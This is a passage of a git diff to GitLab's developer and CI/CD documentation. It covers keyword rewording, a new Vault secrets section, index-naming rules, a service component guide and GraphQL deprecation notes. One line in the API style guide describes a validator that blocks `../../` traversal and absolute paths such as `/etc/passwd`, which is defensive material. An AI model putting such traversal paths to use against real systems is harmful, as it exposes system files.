-| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management-ultimate) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). |
-| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning-ultimate) **(ULTIMATE)** | The `license_scanning` report collects Licenses. |
-| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance-premium) **(PREMIUM)** | The `load_performance` report collects load performance metrics. |
-| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics-premium) **(PREMIUM)** | The `metrics` report collects Metrics. |
-| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance-premium) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. |
-| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast-ultimate) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. |
+| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). |
+| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. |
+| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. |
+| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. |
+| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. |
+| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. |
| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. |
#### `dependencies`
@@ -3393,7 +3405,7 @@ and bring back the old behavior.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/20428) in GitLab 8.17.
-`coverage` allows you to configure how code coverage will be extracted from the
+Use `coverage` to configure how code coverage is extracted from the
job output.
Regular expressions are the only valid kind of value expected here. So, using
@@ -3414,7 +3426,7 @@ job1:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3442) in GitLab 9.5.
> - [Behavior expanded](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3515) in GitLab 11.5 to control which failures to retry on.
-`retry` allows you to configure how many times a job is going to be retried in
+Use `retry` to configure how many times a job is going to be retried in
case of a failure.
When a job fails and has `retry` configured, it's going to be processed again
@@ -3494,7 +3506,7 @@ You can specify the number of [retry attempts for certain stages of job executio
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3.
-`timeout` allows you to configure a timeout for a specific job. For example:
+Use `timeout` to configure a timeout for a specific job. For example:
```yaml
build:
@@ -3514,7 +3526,7 @@ exceed the runner-specific timeout.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5.
-`parallel` allows you to configure how many instances of a job to run in
+Use `parallel` to configure how many instances of a job to run in
parallel. This value has to be greater than or equal to two (2) and less than or equal to 50.
This creates N instances of the same job that run in parallel. They are named
@@ -3563,7 +3575,7 @@ job split into three separate jobs.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3.
-`matrix:` allows you to configure different variables for jobs that are running in parallel.
+Use `matrix:` to configure different variables for jobs that are running in parallel.
There can be from 2 to 50 jobs.
Every job gets the same `CI_NODE_TOTAL` [environment variable](../variables/README.md#predefined-environment-variables) value, and a unique `CI_NODE_INDEX` value.
@@ -3589,28 +3601,29 @@ deploystacks:
This generates 10 parallel `deploystacks` jobs, each with different values for `PROVIDER` and `STACK`:
```plaintext
-deploystacks 1/10 with PROVIDER=aws and STACK=monitoring
-deploystacks 2/10 with PROVIDER=aws and STACK=app1
-deploystacks 3/10 with PROVIDER=aws and STACK=app2
-deploystacks 4/10 with PROVIDER=ovh and STACK=monitoring
-deploystacks 5/10 with PROVIDER=ovh and STACK=backup
-deploystacks 6/10 with PROVIDER=ovh and STACK=app
-deploystacks 7/10 with PROVIDER=gcp and STACK=data
-deploystacks 8/10 with PROVIDER=gcp and STACK=processing
-deploystacks 9/10 with PROVIDER=vultr and STACK=data
-deploystacks 10/10 with PROVIDER=vultr and STACK=processing
+deploystacks: [aws, monitoring]
+deploystacks: [aws, app1]
+deploystacks: [aws, app2]
+deploystacks: [ovh, monitoring]
+deploystacks: [ovh, backup]
+deploystacks: [ovh, app]
+deploystacks: [gcp, data]
+deploystacks: [gcp, processing]
+deploystacks: [vultr, data]
+deploystacks: [vultr, processing]
```
+Job naming style [was improved](https://gitlab.com/gitlab-org/gitlab/-/issues/230452) in GitLab 13.4.
+
### `trigger`
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Core in 12.8.
-`trigger` allows you to define downstream pipeline trigger. When a job created
-from `trigger` definition is started by GitLab, a downstream pipeline gets
-created.
+Use `trigger` to define a downstream pipeline trigger. When GitLab starts a job created
+with a `trigger` definition, a downstream pipeline is created.
-This keyword allows the creation of two different types of downstream pipelines:
+You can use this keyword to create two different types of downstream pipelines:
- [Multi-project pipelines](../multi_project_pipelines.md#creating-multi-project-pipelines-from-gitlab-ciyml)
- [Child pipelines](../parent_child_pipelines.md)
@@ -3889,15 +3902,15 @@ ios-release:
script:
- echo 'iOS release job'
release:
- tag_name: v1.0.0-ios
- description: 'iOS release v1.0.0'
+ tag_name: v1.0.0-ios
+ description: 'iOS release v1.0.0'
android-release:
script:
- echo 'Android release job'
release:
- tag_name: v1.0.0-android
- description: 'Android release v1.0.0'
+ tag_name: v1.0.0-android
+ description: 'Android release v1.0.0'
```
#### `release:tag_name`
@@ -3969,25 +3982,24 @@ tags. These options cannot be used together, so choose one:
script:
- echo 'running release_job'
release:
- name: 'Release $CI_COMMIT_TAG'
- description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined
- tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline.
- ref: '$CI_COMMIT_TAG'
- milestones:
- - 'm1'
- - 'm2'
- - 'm3'
- released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined,
- # or can use a variable.
+ name: 'Release $CI_COMMIT_TAG'
+ description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined
+ tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline.
+ ref: '$CI_COMMIT_TAG'
+ milestones:
+ - 'm1'
+ - 'm2'
+ - 'm3'
+ released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, or can use a variable.
```
- To create a release automatically when commits are pushed or merged to the default branch,
using a new Git tag that is defined with variables:
-NOTE: **Note:**
-Environment variables set in `before_script` or `script` are not available for expanding
-in the same job. Read more about
-[potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400).
+ NOTE: **Note:**
+ Environment variables set in `before_script` or `script` are not available for expanding
+ in the same job. Read more about
+ [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400).
```yaml
prepare_job:
@@ -4007,25 +4019,24 @@ in the same job. Read more about
stage: release
image: registry.gitlab.com/gitlab-org/release-cli:latest
needs:
- - job: prepare_job
- artifacts: true
+ - job: prepare_job
+ artifacts: true
rules:
- if: $CI_COMMIT_TAG
- when: never # Do not run this job when a tag is created manually
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch
+ when: never # Do not run this job when a tag is created manually
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch
script:
- echo 'running release_job for $TAG'
release:
- name: 'Release $TAG'
- description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG
- tag_name: '$TAG' # variables must be defined elsewhere
- ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the
- milestones: # prepare_job
- - 'm1'
- - 'm2'
- - 'm3'
- released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined,
- # or can use a variable.
+ name: 'Release $TAG'
+ description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG
+ tag_name: '$TAG' # variables must be defined elsewhere
+ ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the
+ milestones: # prepare_job
+ - 'm1'
+ - 'm2'
+ - 'm3'
+ released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, or can use a variable.
```
#### `releaser-cli` command line
@@ -4040,6 +4051,53 @@ The YAML described above would be translated into a CLI command like this:
release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3"
```
+### `secrets`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4.
+
+`secrets` indicates the [CI Secrets](../secrets/index.md) this job needs. It should be a hash,
+and the keys should be the names of the environment variables the job needs to access the secrets.
+
+#### `secrets:vault` **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in GitLab 13.4.
+
+`vault` keyword specifies secrets provided by [Hashicorp's Vault](https://www.vaultproject.io/).
+This syntax has multiple forms. The shortest form asssumes the use of the
+[KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) secrets engine,
+mounted at the default path `kv-v2`. The last part of the secret's path is the
+field to fetch the value for:
+
+```yaml
+job:
+ secrets:
+ DATABASE_PASSWORD:
+ vault: production/db/password # translates to secret `kv-v2/data/production/db`, field `password`
+```
+
+You can specify a custom secrets engine path by adding a suffix starting with `@`:
+
+```yaml
+job:
+ secrets:
+ DATABASE_PASSWORD:
+ vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password`
+```
+
+In the detailed form of the syntax, you can specify all details explicitly:
+
+```yaml
+job:
+ secrets:
+ DATABASE_PASSWORD: # translates to secret `ops/data/production/db`, field `password`
+ vault:
+ engine:
+ name: kv-v2
+ path: ops
+ path: production/db
+ field: password
+```
+
### `pages`
`pages` is a special job that is used to upload static content to GitLab that
@@ -4077,12 +4135,12 @@ NOTE: **Note:**
Integers (as well as strings) are legal both for variable's name and value.
Floats are not legal and can't be used.
-GitLab CI/CD allows you to define variables inside `.gitlab-ci.yml` that are
-then passed in the job environment. They can be set globally and per-job.
-When the `variables` keyword is used on a job level, it will override the global
+Variables are configurable values in `.gitlab-ci.yml` that are passed to jobs.
+They can be set globally and per-job.
+When you use the `variables` keyword in jobs, it overrides the global
YAML variables and predefined ones of the same name.
-They are stored in the Git repository and are meant to store non-sensitive
+Variables are stored in the Git repository and are meant for non-sensitive
project configuration, for example:
```yaml
@@ -4090,9 +4148,9 @@ variables:
DATABASE_URL: "postgres://postgres@postgres/my_database"
```
-These variables can be later used in all executed commands and scripts.
+You can use these variables later in all executed commands and scripts.
The YAML-defined variables are also set to all created service containers,
-thus allowing to fine tune them.
+so that you can fine tune them.
Except for the user-defined variables, there are also variables [set up by the
runner itself](../variables/README.md#predefined-environment-variables).
@@ -4277,7 +4335,7 @@ script:
- ls -al cache/
```
-The configurtion above will result in `git fetch` being called this way:
+The configuration above will result in `git fetch` being called this way:
```shell
git fetch origin $REFSPECS --depth 50 --prune
@@ -4432,7 +4490,7 @@ because `$CI_BUILDS_DIR` is not expanded.
## Special YAML features
It's possible to use special YAML features like anchors (`&`), aliases (`*`)
-and map merging (`<<`), which allows you to greatly reduce the complexity
+and map merging (`<<`). Use these features to reduce the complexity
of `.gitlab-ci.yml`.
Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/).
@@ -4660,9 +4718,9 @@ If you want to temporarily 'disable' a job, rather than commenting out all the
lines where the job is defined:
```yaml
-#hidden_job:
-# script:
-# - run test
+# hidden_job:
+# script:
+# - run test
```
You can instead start its name with a dot (`.`) and it won't be processed by
diff --git a/doc/development/README.md b/doc/development/README.md
index 74068db726c..abdd5c662f3 100644
--- a/doc/development/README.md
+++ b/doc/development/README.md
@@ -18,7 +18,7 @@ For information on how to install, configure, update, and upgrade your own GitLa
## Get started
-- Set up GitLab's development environment with [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/README.md)
+- Set up GitLab's development environment with [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/README.md)
- [GitLab contributing guide](contributing/index.md)
- [Issues workflow](contributing/issue_workflow.md) for more information on:
- Issue tracker guidelines.
@@ -57,6 +57,7 @@ Complementary reads:
- [Generate a changelog entry with `bin/changelog`](changelog.md)
- [Requesting access to Chatops on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members)
- [Patch release process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/patch/process.md#process-for-developers)
+- [Adding a new service component to GitLab](adding_service_component.md)
## UX and Frontend guides
@@ -197,6 +198,7 @@ See [database guidelines](database/index.md).
- [Defining relations between files using projections](projections.md)
- [Reference processing](./reference_processing.md)
- [Compatibility with multiple versions of the application running at the same time](multi_version_compatibility.md)
+- [Features inside `.gitlab/`](./features_inside_dot_gitlab.md)
## Other GitLab Development Kit (GDK) guides
diff --git a/doc/development/adding_database_indexes.md b/doc/development/adding_database_indexes.md
index 7fe047b380b..03557491e68 100644
--- a/doc/development/adding_database_indexes.md
+++ b/doc/development/adding_database_indexes.md
@@ -121,3 +121,71 @@ may be affected by factors such as (but not limited to):
In other words, this data is only reliable for a frequently used database with
plenty of data and with as many GitLab features enabled (and being used) as
possible.
+
+## Requirements for naming indexes
+
+Indexes with complex definitions need to be explicitly named rather than
+relying on the implicit naming behavior of migration methods. In short,
+that means you **must** provide an explicit name argument for an index
+created with one or more of the following options:
+
+- `where`
+- `using`
+- `order`
+- `length`
+- `type`
+- `opclass`
+
+### Considerations for index names
+
+Index names don't have any significance in the database, so they should
+attempt to communicate intent to others. The most important rule to
+remember is that generic names are more likely to conflict or be duplicated,
+and should not be used. Some other points to consider:
+
+- For general indexes, use a template, like: `index_{table}_{column}_{options}`.
+- For indexes added to solve a very specific problem, it may make sense
+ for the name to reflect their use.
+- Identifiers in PostgreSQL have a maximum length of 63 bytes.
+- Check `db/structure.sql` for conflicts and ideas.
+
+### Why explicit names are required
+
+As Rails is database agnostic, it generates an index name only
+from the required options of all indexes: table name and column name(s).
+For example, imagine the following two indexes are created in a migration:
+
+```ruby
+def up
+ add_index :my_table, :my_column
+
+ add_index :my_table, :my_column, where: 'my_column IS NOT NULL'
+end
+```
+
+Creation of the second index would fail, because Rails would generate
+the same name for both indexes.
+
+This is further complicated by the behavior of the `index_exists?` method.
+It considers only the table name, column name(s) and uniqueness specification
+of the index when making a comparison. Consider:
+
+```ruby
+def up
+ unless index_exists?(:my_table, :my_column, where: 'my_column IS NOT NULL')
+ add_index :my_table, :my_column, where: 'my_column IS NOT NULL'
+ end
+end
+```
+
+The call to `index_exists?` will return true if **any** index exists on
+`:my_table` and `:my_column`, and index creation will be bypassed.
+
+The `add_concurrent_index` helper is a requirement for creating indexes
+on populated tables. Since it cannot be used inside a transactional
+migration, it has a built-in check that detects if the index already
+exists. In the event a match is found, index creation is skipped.
+Without an explicit name argument, Rails can return a false positive
+for `index_exists?`, causing a required index to not be created
+properly. By always requiring a name for certain types of indexes, the
+chance of error is greatly reduced.
diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md
new file mode 100644
index 00000000000..2801e27145d
--- /dev/null
+++ b/doc/development/adding_service_component.md
@@ -0,0 +1,89 @@
+# Adding a new Service Component to GitLab
+
+The GitLab product is made up of several service components that run as independent system processes in communication with each other. These services can be run on the same instance, or spread across different instances. A list of the existing components can be found in the [GitLab architecture overview](architecture.md).
+
+## Integration phases
+
+The following outline re-uses the [maturity metric](https://about.gitlab.com/direction/maturity) naming as an example of the various phases of integrating a component. These are only loosely coupled to a components actual maturity, and are intended as a guide for implementation order (for example, a component does not need to be enabled by default to be Lovable, and being enabled by default does not on its own cause a component to be Lovable).
+
+- Proposed
+ - [Proposing a new component](#proposing-a-new-component)
+- Minimal
+ - [Integrating a new service with GitLab](#integrating-a-new-service-with-gitlab)
+ - [Handling service dependencies](#handling-service-dependencies)
+- Viable
+ - [Bundled with GitLab installations](#bundling-a-service-with-gitlab)
+ - [End-to-end testing in GitLab QA](testing_guide/end_to_end/beginners_guide.md)
+ - [Release management](#release-management)
+ - [Enabled on GitLab.com](feature_flags/controls.md#enabling-a-feature-for-gitlabcom)
+- Complete
+ - [Configurable by the GitLab orchestrator](https://gitlab.com/gitlab-org/gitlab-orchestrator)
+- Lovable
+ - Enabled by default for the majority of users
+
+## Proposing a new component
+
+The initial step for integrating a new component with GitLab starts with creating a [Feature proposal in the issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal).
+
+Identify the [product category](https://about.gitlab.com/handbook/product/categories/) the component falls under and assign the Engineering Manager and Product Manager responsible for that category.
+
+The general steps for getting any GitLab feature from proposal to release can be found in the [Product development flow](https://about.gitlab.com/handbook/product-development-flow/).
+
+## Integrating a new service with GitLab
+
+Adding a new service follows the same [merge request workflow](contributing/merge_request_workflow.md) as other contributions, and must meet the same [completion criteria](contributing/merge_request_workflow.md#definition-of-done) and in addition needs to cover the following:
+
+- The [architecture component list](architecture.md#component-list) has been updated to include the service.
+- Features provided by the component have been accepted into the [GitLab Product Direction](https://about.gitlab.com/direction/).
+- Documentation is available and the support team has been made aware of the new component.
+
+**For services that can operate completely separate from GitLab:**
+
+The first iteration should be to add the ability to connect and use the service as an externally installed component. Often this involves providing settings in GitLab to connect to the service, or allow connections from it. And then shipping documentation on how to install and configure the service with GitLab.
+
+TIP: **Tip:**
+[Elasticsearch](../integration/elasticsearch.md#installing-elasticsearch) is an example of a service that has been integrated this way. And many of the other services, including internal projects like Gitaly, started off as separately installed alternatives.
+
+**For services that depend on the existing GitLab codebase:**
+
+The first iteration should be opt-in, either through the `gitlab.yml` configuration or through [feature flags](feature_flags.md). For these types of services it is often necessary to [bundle the service and its dependencies with GitLab](#bundling-a-service-with-gitlab) as part of the initial integration.
+
+TIP: **Tip:**
+[ActionCable](https://docs.gitlab.com/omnibus/settings/actioncable.html) is an example of a service that has been added this way.
+
+## Bundling a service with GitLab
+
+NOTE: **Note:**
+Code shipped with GitLab needs to use a license approved by the Legal team. See the list of [existing approved licenses](https://about.gitlab.com/handbook/engineering/open-source/#using-open-source-libraries).
+
+NOTE: **Note:**
+Notify the [Distribution team](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/) when adding a new dependency that must be compiled. We must be able to compile the dependency on all supported platforms.
+
+New services to be bundled with GitLab need to be available in the following environments.
+
+**Dev environment**
+
+The first step of bundling a new service is to provide it in the development environment to engage in collaboration and feedback.
+
+- [Include in the GDK](https://gitlab.com/gitlab-org/gitlab-development-kit)
+- [Include in the source install instructions](../install/installation.md)
+
+**Standard install methods**
+
+In order for a service to be bundled for end-users or GitLab.com, it needs to be included in the standard install methods:
+
+- [Included in the Omnibus package](https://gitlab.com/gitlab-org/omnibus-gitlab)
+- [Included in the GitLab Helm charts](https://gitlab.com/gitlab-org/charts/gitlab)
+
+## Handling service dependencies
+
+Dependencies should be kept up to date and be tracked for security updates. For the Rails codebase, the JavaScript and Ruby dependencies are
+scanned for vulnerabilities using GitLab [dependency scanning](../user/application_security/dependency_scanning/index.md).
+
+In addition, any system dependencies used in Omnibus packages or the Cloud Native images should be added to the [dependency update automation](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/maintenance/dependencies.io.html#adding-new-dependencies).
+
+## Release management
+
+If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery team](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). A list of the projects managed this way can be found in the [release tools project directory](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/).
+
+For example, during the monthly GitLab release, the desired version of Gitaly, GitLab Workhorse, GitLab Shell, etc., need to synchronized through the various release pipelines.
diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md
index bf2d6400f56..18fc0fb7d33 100644
--- a/doc/development/api_graphql_styleguide.md
+++ b/doc/development/api_graphql_styleguide.md
@@ -14,7 +14,7 @@ which is exposed as an API endpoint at `/api/graphql`.
In March 2019, Nick Thomas hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`)
on GitLab's [GraphQL API](../api/graphql/index.md) to share his domain specific knowledge
-with anyone who may work in this part of the code base in the future. You can find the
+with anyone who may work in this part of the codebase in the future. You can find the
[recording on YouTube](https://www.youtube.com/watch?v=-9L_1MWrjkg), and the slides on
[Google Slides](https://docs.google.com/presentation/d/1qOTxpkTdHIp1CRjuTvO-aXg0_rUtzE3ETfLUdnBB5uQ/edit)
and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8e78ea7f326b2ef649e7d7d569c26d56/GraphQL_Deep_Dive__Create_.pdf).
@@ -33,7 +33,7 @@ Authentication happens through the `GraphqlController`, right now this
uses the same authentication as the Rails application. So the session
can be shared.
-It is also possible to add a `private_token` to the querystring, or
+It's also possible to add a `private_token` to the query string, or
add a `HTTP_PRIVATE_TOKEN` header.
## Global IDs
@@ -41,7 +41,7 @@ add a `HTTP_PRIVATE_TOKEN` header.
GitLab's GraphQL API uses Global IDs (i.e: `"gid://gitlab/MyObject/123"`)
and never database primary key IDs.
-Global ID is [a standard](https://graphql.org/learn/global-object-identification/)
+Global ID is [a convention](https://graphql.org/learn/global-object-identification/)
used for caching and fetching in client-side libraries.
See also:
@@ -75,7 +75,7 @@ The `iid`, `title` and `description` are _scalar_ GraphQL types.
When exposing a model through the GraphQL API, we do so by creating a
new type in `app/graphql/types`. You can also declare custom GraphQL data types
-for scalar data types (e.g. `TimeType`).
+for scalar data types (for example `TimeType`).
When exposing properties in a type, make sure to keep the logic inside
the definition as minimal as possible. Instead, consider moving any
@@ -142,7 +142,10 @@ def reply_id
end
```
-### Connection Types
+### Connection types
+
+TIP: **Tip:**
+For specifics on implementation, see [Pagination implementation](#pagination-implementation).
GraphQL uses [cursor based
pagination](https://graphql.org/learn/pagination/#pagination-and-edges)
@@ -363,16 +366,16 @@ def foo
end
```
-## Deprecating fields
+## Deprecating fields and enum values
GitLab's GraphQL API is versionless, which means we maintain backwards
compatibility with older versions of the API with every change. Rather
-than removing a field, we need to _deprecate_ the field instead. In
-future, GitLab
-[may remove deprecated fields](https://gitlab.com/gitlab-org/gitlab/-/issues/32292).
+than removing a field or [enum value](#enums), we need to _deprecate_ it instead.
+In future, GitLab
+[may remove deprecated parts of the schema](https://gitlab.com/gitlab-org/gitlab/-/issues/32292).
-Fields are deprecated using the `deprecated` property. The value
-of the property is a `Hash` of:
+Fields and enum values are deprecated using the `deprecated` property.
+The value of the property is a `Hash` of:
- `reason` - Reason for the deprecation.
- `milestone` - Milestone that the field was deprecated.
@@ -385,13 +388,14 @@ field :token, GraphQL::STRING_TYPE, null: true,
description: 'Token for login'
```
-The original `description:` of the field should be maintained, and should
-_not_ be updated to mention the deprecation.
+The original `description` of the things being deprecated should be maintained,
+and should _not_ be updated to mention the deprecation. Instead, the `reason` will
+be appended to the `description`.
### Deprecation reason style guide
-Where the reason for deprecation is due to the field being replaced
-with another field, the `reason` must be:
+Where the reason for deprecation is due to the field or enum value being
+replaced, the `reason` must be:
```plaintext
Use `otherFieldName`
@@ -405,9 +409,22 @@ field :designs, ::Types::DesignManagement::DesignCollectionType, null: true,
description: 'The designs associated with this issue',
```
+```ruby
+module Types
+ class TodoStateEnum < BaseEnum
+ value 'pending', deprecated: { reason: 'Use PENDING', milestone: '10.0' }
+ value 'done', deprecated: { reason: 'Use DONE', milestone: '10.0' }
+ value 'PENDING', value: 'pending'
+ value 'DONE', value: 'done'
+ end
+end
+```
+
If the field is not being replaced by another field, a descriptive
deprecation `reason` should be given.
+See also [Aliasing and deprecating mutations](#aliasing-and-deprecating-mutations).
+
## Enums
GitLab GraphQL enums are defined in `app/graphql/types`. When defining new enums, the
@@ -452,6 +469,9 @@ module Types
end
```
+Enum values can be deprecated using the
+[`deprecated` keyword](#deprecating-fields-and-enum-values).
+
## JSON
When data to be returned by GraphQL is stored as
@@ -760,6 +780,44 @@ to advertise the need for lookahead:
For an example of real world use, please
see [`ResolvesMergeRequests`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/resolvers/concerns/resolves_merge_requests.rb).
+## Pass a parent object into a child Presenter
+
+Sometimes you need to access the resolved query parent in a child context to compute fields. Usually the parent is only
+available in the `Resolver` class as `parent`.
+
+To find the parent object in your `Presenter` class:
+
+1. Add the parent object to the GraphQL `context` from within your resolver's `resolve` method:
+
+ ```ruby
+ def resolve(**args)
+ context[:parent_object] = parent
+ end
+ ```
+
+1. Declare that your fields require the `parent` field context. For example:
+
+ ```ruby
+ # in ChildType
+ field :computed_field, SomeType, null: true,
+ method: :my_computing_method,
+ extras: [:parent], # Necessary
+ description: 'My field description'
+ ```
+
+1. Declare your field's method in your Presenter class and have it accept the `parent` keyword argument.
+This argument contains the parent **GraphQL context**, so you have to access the parent object with
+`parent[:parent_object]` or whatever key you used in your `Resolver`:
+
+ ```ruby
+ # in ChildPresenter
+ def my_computing_method(parent:)
+ # do something with `parent[:parent_object]` here
+ end
+ ```
+
+For an example of real-world use, check [this MR that added `scopedPath` and `scopedUrl` to `IterationPresenter`](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39543)
+
## Mutations
Mutations are used to change any stored values, or to trigger
@@ -1114,7 +1172,8 @@ mount_aliased_mutation 'BarMutation', Mutations::FooMutation
```
This allows us to rename a mutation and continue to support the old name,
-when coupled with the [`deprecated`](#deprecating-fields) argument.
+when coupled with the [`deprecated`](#deprecating-fields-and-enum-values)
+argument.
Example:
@@ -1130,6 +1189,10 @@ tested for within the unit test of `Types::MutationType`. The merge request
can be referred to as an example of this, including the method of testing
deprecated aliased mutations.
+## Pagination implementation
+
+To learn more, visit [GraphQL pagination](graphql_guide/pagination.md).
+
## Validating arguments
For validations of single arguments, use the
@@ -1199,6 +1262,9 @@ Using the `GraphqlHelpers#all_graphql_fields_for`-helper, a query
including all available fields can be constructed. This makes it easy
to add a test rendering all possible fields for a query.
+If you're adding a field to a query that supports pagination and sorting,
+visit [Testing](graphql_guide/pagination.md#testing) for details.
+
To test GraphQL mutation requests, `GraphqlHelpers` provides 2
helpers: `graphql_mutation` which takes the name of the mutation, and
a hash with the input for the mutation. This will return a struct with
@@ -1285,7 +1351,7 @@ end
More about complexity:
[GraphQL Ruby documentation](https://graphql-ruby.org/queries/complexity_and_depth.html).
-## Documentation and Schema
+## Documentation and schema
Our schema is located at `app/graphql/gitlab_schema.rb`.
See the [schema reference](../api/graphql/reference/index.md) for details.
diff --git a/doc/development/api_styleguide.md b/doc/development/api_styleguide.md
index 06b05f49b12..400752c69e9 100644
--- a/doc/development/api_styleguide.md
+++ b/doc/development/api_styleguide.md
@@ -13,10 +13,12 @@ Always use an [Entity](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/
## Documentation
-API endpoints must come with [documentation](documentation/styleguide.md#restful-api), unless it is internal or behind a feature flag.
+Each new or updated API endpoint must come with documentation, unless it is internal or behind a feature flag.
The docs should be in the same merge request, or, if strictly necessary,
in a follow-up with the same milestone as the original merge request.
+See the [Documentation Style Guide RESTful API section](documentation/styleguide.md#restful-api) for details on documenting API resources in Markdown as well as in OpenAPI definition files.
+
## Methods and parameters description
Every method must be described using the [Grape DSL](https://github.com/ruby-grape/grape#describing-methods)
@@ -173,7 +175,7 @@ guide on how you can add a new custom validator.
validates the parameter value for different cases. Mainly, it checks whether a
path is relative and does it contain `../../` relative traversal using
`File::Separator` or not, and whether the path is absolute, for example
- `/etc/passwd/`. By default, absolute paths are not allowed. However, you can optionally pass in an allowlist for allowed absolute paths in the following way:
+ `/etc/passwd/`. By default, absolute paths are not allowed. However, you can optionally pass in an allowlist for allowed absolute paths in the following way:
`requires :file_path, type: String, file_path: { allowlist: ['/foo/bar/', '/home/foo/', '/app/home'] }`
- `Git SHA`:
@@ -247,7 +249,7 @@ most basic entity, with successive entities building upon that scope.
The `with_api_entity_associations` scope will also [automatically preload
data](https://gitlab.com/gitlab-org/gitlab/blob/19f74903240e209736c7668132e6a5a735954e7c/app%2Fmodels%2Ftodo.rb#L34)
-for `Todo` _targets_ when returned in the Todos API.
+for `Todo` _targets_ when returned in the [to-dos API](../api/todos.md).
For more context and discussion about preloading see
[this merge request](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/25711)
diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md
index 4d296451add..f96ed2e7f57 100644
--- a/doc/development/application_limits.md
+++ b/doc/development/application_limits.md
@@ -17,50 +17,50 @@ limits](https://about.gitlab.com/handbook/product/product-processes/#introducing
### Insert database plan limits
-In the `plan_limits` table, you have to create a new column and insert the
-limit values. It's recommended to create separate migration script files.
-
-1. Add new column to the `plan_limits` table with non-null default value
- that represents desired limit, such as:
-
- ```ruby
